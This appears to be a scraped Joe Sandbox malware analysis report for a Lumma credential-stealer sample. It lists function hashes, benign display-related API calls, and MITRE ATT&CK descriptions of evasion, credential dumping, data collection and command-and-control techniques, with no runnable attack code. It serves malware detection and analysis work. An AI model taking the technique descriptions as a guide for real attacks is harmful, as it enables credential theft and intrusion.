Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf8e8b5d057db56d27415f76025b7014dc17919d4e2c98d56d22174d2a3db3ab
Instruction ID: 409e77106036e9c9ad4fd657ab7e8ee2f5f46db247df77fa31f0165cd7baae8f
Opcode Fuzzy Hash: bf8e8b5d057db56d27415f76025b7014dc17919d4e2c98d56d22174d2a3db3ab
Instruction Fuzzy Hash: 00019AB090D3849AD2449FA5C8A561BFBE4AB82318F50592CF1E68B290C7B98409CF56

Function 00411648 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a865807523020ea13d72782b06270527932a0ac87173087355467795c1e4c4e3
Instruction ID: a9247bd7354e6b727ccfad8d1a17edd0829fed2cbdf92dcbe90e4b8bf8bbcc11
Opcode Fuzzy Hash: a865807523020ea13d72782b06270527932a0ac87173087355467795c1e4c4e3
Instruction Fuzzy Hash: 7EF0A0B2D0A2908FC314DF22D5154A7BAA3ABEA610F55D93CC5D1ABB50CB35A801DBC7

Function 0040C6D0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: 1f527f0ff5d9a7a9132aa9a6a260812c3e7e7ba4c2b77c6f6142c04cc401f481
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: 74D05B21508221869B748E199440577F7E0EA87711F45556FF581F3284D635DC41D16D

Function 00486278 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

GetMonitorInfoA.USER32(?,?), ref: 004862A9
GetSystemMetrics.USER32(00000000), ref: 004862E5
GetSystemMetrics.USER32(00000001), ref: 004862F0

Strings

GetMonitorInfo, xrefs: 00486290
DISPLAY, xrefs: 00486311

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: MetricsSystem$InfoMonitor
String ID: DISPLAY$GetMonitorInfo
API String ID: 4250584380-1633989206
Opcode ID: be3941f4c3ce3e0994afd9c5f885438aec33c64484b807643d762d71accfd01e
Instruction ID: 889bd3d5d615270d6fbd3e8fcc51fadf2346716a11d9a26a704a4d58ae06c369
Opcode Fuzzy Hash: be3941f4c3ce3e0994afd9c5f885438aec33c64484b807643d762d71accfd01e
Instruction Fuzzy Hash: B011E9316007019FDB61EF699C447ABB7E8EB19311F01492BEE4AD7341D7B4A804CF95

Function 0048634C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 004863B9
GetSystemMetrics.USER32(00000001), ref: 004863C4

Strings

DISPLAY, xrefs: 004863E5
LcH, xrefs: 00486369, 00486376, 0048637D
GetMonitorInfoA, xrefs: 00486364

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: MetricsSystem
String ID: DISPLAY$GetMonitorInfoA$LcH
API String ID: 4116985748-4037459599
Opcode ID: d66a4e329a29263553e8752fc8bf204d5717d9cc4b7236022bb20befa812b2e5
Instruction ID: acdbe0c9a83c5faba6cb1fb367a2c5a89eed24a68e87fb828fd9635ee1db485c
Opcode Fuzzy Hash: d66a4e329a29263553e8752fc8bf204d5717d9cc4b7236022bb20befa812b2e5
Instruction Fuzzy Hash: 1811B4716007109FDB60EF699C447AFB7E9EB25720F01492FED46D7240D7B8A804CBA9

Function 00486420 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 0048648D
GetSystemMetrics.USER32(00000001), ref: 00486498

Strings

DISPLAY, xrefs: 004864B9
dH, xrefs: 0048643D, 0048644A, 00486451
GetMonitorInfoW, xrefs: 00486438

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: MetricsSystem
String ID: dH$DISPLAY$GetMonitorInfoW
API String ID: 4116985748-272282323
Opcode ID: 45d9a6e3b4de01950405f0b840376229e3dfad0e0936a2186136aff22ada50ee
Instruction ID: 08d7d4e4d95ceed3a6b8a98ad01274bbf2bac9c874eb71afdf15410c1623f47f
Opcode Fuzzy Hash: 45d9a6e3b4de01950405f0b840376229e3dfad0e0936a2186136aff22ada50ee
Instruction Fuzzy Hash: 9A11E471601700AFD760EF649C447AFB7E8EF15B10F014A2EED4A97340D7B8A8088B9D

Function 004864F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

EnumDisplayMonitors.USER32(?,?,?,?), ref: 0048652D
GetSystemMetrics.USER32(00000000), ref: 00486552
GetSystemMetrics.USER32(00000001), ref: 0048655D

Strings

EnumDisplayMonitors, xrefs: 0048650C

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: MetricsSystem$DisplayEnumMonitors
String ID: EnumDisplayMonitors
API String ID: 1389147845-2491903729
Opcode ID: 1de5c919097486bc3cb5271be47534017a97d3e7ee265745ef4cb3fdd613a37e
Instruction ID: e6e738d49ed1cf18a8c52e834caad42ed0f2b7e5beede99dd9164fa39e21357d
Opcode Fuzzy Hash: 1de5c919097486bc3cb5271be47534017a97d3e7ee265745ef4cb3fdd613a37e
Instruction Fuzzy Hash: B4314C72E00209BFDB50EEA9D840AEF77BCAB19304F01452BF915E3205E778D9058BA5

Function 004861E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 0048622E
GetSystemMetrics.USER32(00000001), ref: 00486240

Strings

MonitorFromPoint, xrefs: 004861F2
aH, xrefs: 004861F7, 00486204, 00486210

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: MetricsSystem
String ID: MonitorFromPoint$aH
API String ID: 4116985748-2695255820
Opcode ID: 22fa224638c37f908a7f8d0e5f1666778e86958fe2b1f5c01fe53337a70e28de
Instruction ID: d31956c4513dab6fffd218a26299279482be9b18de6c0cf1533da191c896f98d
Opcode Fuzzy Hash: 22fa224638c37f908a7f8d0e5f1666778e86958fe2b1f5c01fe53337a70e28de
Instruction Fuzzy Hash: 02012B31200204AFDF90FF55DC4874E7751EB74324F0184D6F909AB211C3B8AC459F55

Function 004860B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 00486109
GetSystemMetrics.USER32(00000001), ref: 00486115

Strings

MonitorFromRect, xrefs: 004860CD

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: MetricsSystem
String ID: MonitorFromRect
API String ID: 4116985748-4033241945
Opcode ID: 1a42876adff026dc49fe7c3e16ae21ba5aecc1b91b9455b99bf667f0feb57e4e
Instruction ID: 7ee670d25c91509e8eb954c9bf00ca694e540f99ff9cb0e10c66008c49252229
Opcode Fuzzy Hash: 1a42876adff026dc49fe7c3e16ae21ba5aecc1b91b9455b99bf667f0feb57e4e
Instruction Fuzzy Hash: 4701FD312001149FDB90EB08D889B1ABBA8E725315F118456E906EB307C3BCDC448FA6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Function 003DF970 Relevance: 15.3, Strings: 12, Instructions: 280
COMMON

Function 0040A2E0 Relevance: 11.6, Strings: 9, Instructions: 302
COMMON

Function 003ED5AF Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 404
encryptionCOMMON

Function 003F509D Relevance: 6.4, Strings: 5, Instructions: 163
COMMON

Function 00592208 Relevance: 3.9, Strings: 3, Instructions: 184
COMMON

Function 00483710 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52
filenativeCOMMON

Function 00483634 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9
nativeCOMMON

Function 0059B60C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 57
COMMON

Function 00410CC0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 79
memoryCOMMON